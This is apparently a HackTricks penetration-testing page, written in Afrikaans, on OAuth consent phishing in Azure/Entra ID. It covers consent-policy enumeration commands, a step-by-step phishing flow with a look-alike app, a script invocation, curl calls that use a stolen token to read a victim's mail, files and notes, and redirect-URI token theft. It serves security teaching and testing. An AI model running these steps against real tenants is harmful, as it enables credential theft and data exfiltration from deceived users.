# Az - OAuth Apps Phishing

{{#include ../../../banners/hacktricks-training.md}}

## OAuth App Phishing

**Azure Toepassings** is geconfigureer met die toestemmings wat hulle sal kan gebruik wanneer 'n gebruiker die toepassing goedkeur (soos om die gids te enumereer, toegang tot lêers te verkry, of ander aksies uit te voer). Let daarop dat die toepassing namens die gebruiker sal optree, so selfs al kan die app om administratiewe toestemmings vra, as die **gebruiker wat dit goedkeur nie daardie toestemming het nie**, sal die app **nie administratiewe aksies kan uitvoer nie**.

### App goedkeurings toestemmings

Standaard kan enige **gebruiker toestemming gee aan apps**, alhoewel dit geconfigureer kan word sodat gebruikers slegs toestemming kan gee aan **apps van geverifieerde uitgewers vir geselekteerde toestemmings** of selfs **die toestemming kan verwyder** vir gebruikers om toestemming te gee aan toepassings.

<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>

As gebruikers nie toestemming kan gee nie, kan **administrateurs** soos `GA`, `Application Administrator` of `Cloud Application` `Administrator` **die toepassings goedkeur** wat gebruikers sal kan gebruik.

Boonop, as gebruikers slegs toestemming kan gee aan apps wat **lae risiko** toestemmings gebruik, is hierdie toestemmings standaard **openid**, **profile**, **email**, **User.Read** en **offline_access**, alhoewel dit moontlik is om **meer** aan hierdie lys toe te voeg.

En as hulle toestemming kan gee aan alle apps, kan hulle toestemming gee aan alle apps.

### 2 Tipes aanvalle

- **Ongemagtig**: Van 'n eksterne rekening 'n toepassing met die **lae risiko toestemmings** `User.Read` en `User.ReadBasic.All` skep, phish 'n gebruiker, en jy sal toegang tot gidsinligting kan verkry.
- Dit vereis dat die gephishde gebruiker **in staat is om OAuth-apps van eksterne huurders te aanvaar**
- As die gephishde gebruiker 'n admin is wat **enige app met enige toestemmings kan goedkeur**, kan die toepassing ook **privilegeerde toestemmings aanvra**
- **Gemagtig**: Nadat 'n prinsiep met genoeg voorregte gecompromitteer is, **skep 'n toepassing binne die rekening** en **phish** 'n paar **privilegeerde** gebruikers wat privilegeerde OAuth-toestemmings kan aanvaar.
- In hierdie geval kan jy reeds toegang tot die inligting van die gids verkry, so die toestemming `User.ReadBasic.All` is nie meer interessant nie.
- Jy is waarskynlik geïnteresseerd in **toestemmings wat 'n admin moet toeken**, omdat 'n gewone gebruiker nie enige toestemming aan OAuth-apps kan gee nie, daarom moet jy **slegs daardie gebruikers phish** (meer oor watter rolle/toestemmings hierdie voorregte toeken later).

### Gebruikers mag toestemming gee

Let daarop dat jy hierdie opdrag vanaf 'n gebruiker binne die huurder moet uitvoer, jy kan nie hierdie konfigurasie van 'n eksterne huurder vind nie. Die volgende cli kan jou help om die gebruikers se toestemmings te verstaan:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
- Gebruikers kan toestemming gee vir alle toepassings: As jy binne **`permissionGrantPoliciesAssigned`** kan vind: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` dan kan gebruikers elke toepassing aanvaar.
- Gebruikers kan toestemming gee vir toepassings van geverifieerde uitgewers of jou organisasie, maar net vir die toestemmings wat jy kies: As jy binne **`permissionGrantPoliciesAssigned`** kan vind: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` dan kan gebruikers elke toepassing aanvaar.
- **Deaktiveer gebruikers toestemming**: As jy binne **`permissionGrantPoliciesAssigned`** kan net vind: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` en `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` dan kan gebruikers nie enige toestemming gee nie.

Dit is moontlik om die betekenis van elke van die kommentaarbeleide te vind in:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
### **Toepassing Administrateurs**

Kontroleer gebruikers wat as toepassing administrateurs beskou word (kan nuwe toepassings aanvaar):
```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```
## **Aanvalstroom Oorsig**

Die aanval behels verskeie stappe wat 'n generiese maatskappy teiken. Hier is hoe dit mag ontvou:

1. **Domeinregistrasie en Toepassing Hosting**: Die aanvaller registreer 'n domein wat op 'n betroubare webwerf lyk, byvoorbeeld, "safedomainlogin.com". Onder hierdie domein word 'n subdomein geskep (bv. "companyname.safedomainlogin.com") om 'n toepassing te huisves wat ontwerp is om magtigingskode te vang en toegangstokens aan te vra.
2. **Toepassing Registrasie in Azure AD**: Die aanvaller registreer dan 'n Multi-Tenant Toepassing in hul Azure AD Tenant, en noem dit na die teikenmaatskappy om wettig te lyk. Hulle stel die toepassing se Redirect URL in om na die subdomein te wys wat die kwaadwillige toepassing huisves.
3. **Instelling van Toestemmings**: Die aanvaller stel die toepassing op met verskeie API-toestemmings (bv. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). Hierdie toestemmings, sodra dit deur die gebruiker toegestaan is, laat die aanvaller toe om sensitiewe inligting namens die gebruiker te onttrek.
4. **Verspreiding van Kwaadwillige Skakels**: Die aanvaller stel 'n skakel saam wat die kliënt id van die kwaadwillige toepassing bevat en deel dit met teikengebruikers, wat hulle mislei om toestemming te gee.

## Voorbeeld Aanval

1. Registreer 'n **nuwe toepassing**. Dit kan slegs vir die huidige gids wees as jy 'n gebruiker van die aangevalde gids gebruik of vir enige gids as dit 'n eksterne aanval is (soos in die volgende beeld).
1. Stel ook die **omleidings-URI** in op die verwagte URL waar jy die kode wil ontvang om die tokens te kry (`http://localhost:8000/callback` per standaard).

<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>

2. Skep dan 'n toepassing geheim:

<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>

3. Kies API-toestemmings (bv. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`)

<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>

4. **Voer die webblad uit (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** wat om die toestemmings vra:
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
5. **Stuur die URL na die slagoffer**
1. In hierdie geval `http://localhost:8000`
6. **Slagoffers** moet die **prompt aanvaar:**

<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>

7. Gebruik die **toegangsteken om toegang te verkry tot die versoekte toestemmings**:
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
```
## Ander Gereedskap

- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Kyk [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) om te leer hoe om dit te konfigureer.
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)

## Post-Exploitasie

### Phishing Post-Exploitasie

Afhangende van die aangevraagde toestemmings mag jy in staat wees om **verskillende data van die huurder te bekom** (lys gebruikers, groepe... of selfs instellings te wysig) en **inligting van die gebruiker** (lêers, notas, e-posse...). Dan kan jy hierdie toestemmings gebruik om daardie aksies uit te voer.

### Entra ID Toepassings Admin

As jy daarin geslaag het om op een of ander manier 'n Entra ID-prinsip te kompromitteer wat Toepassings in Entra ID kan bestuur, en daar is toepassings wat deur gebruikers van die huurder gebruik word. 'n Admin sal in staat wees om **die toestemmings wat die app versoek te wysig en 'n nuwe toegelate omleidingsadres by te voeg om die tokens te steel**.
- Let daarop dat dit moontlik is om **omleidings-URI's by te voeg** (geen behoefte om die werklike een te verwyder nie) en dan 'n HTTP-skakel te stuur met die aanvaller se omleidings-URI sodat wanneer die gebruiker die skakel volg, die outentisering outomaties plaasvind en die aanvaller die token ontvang.
- Dit is ook moontlik om die toestemmings wat die app vra te verander om meer toestemming van die gebruikers te verkry, maar in daardie geval sal die gebruiker **weer die prompt moet aanvaar** (selfs al was hy reeds ingelog).
- Om hierdie aanval uit te voer, **HEEFT** die aanvaller **NIE** beheer oor die toepassingskode nodig nie, aangesien hy eenvoudig die skakel kan stuur om in die app in te log met die nuwe URL in die **`redirect_uri`** parameter.

### Toepassing Post Exploitasie

Kyk na die Toepassings en Diens Prinsipaal afdelings van die bladsy:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Verwysings

- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)

{{#include ../../../banners/hacktricks-training.md}}
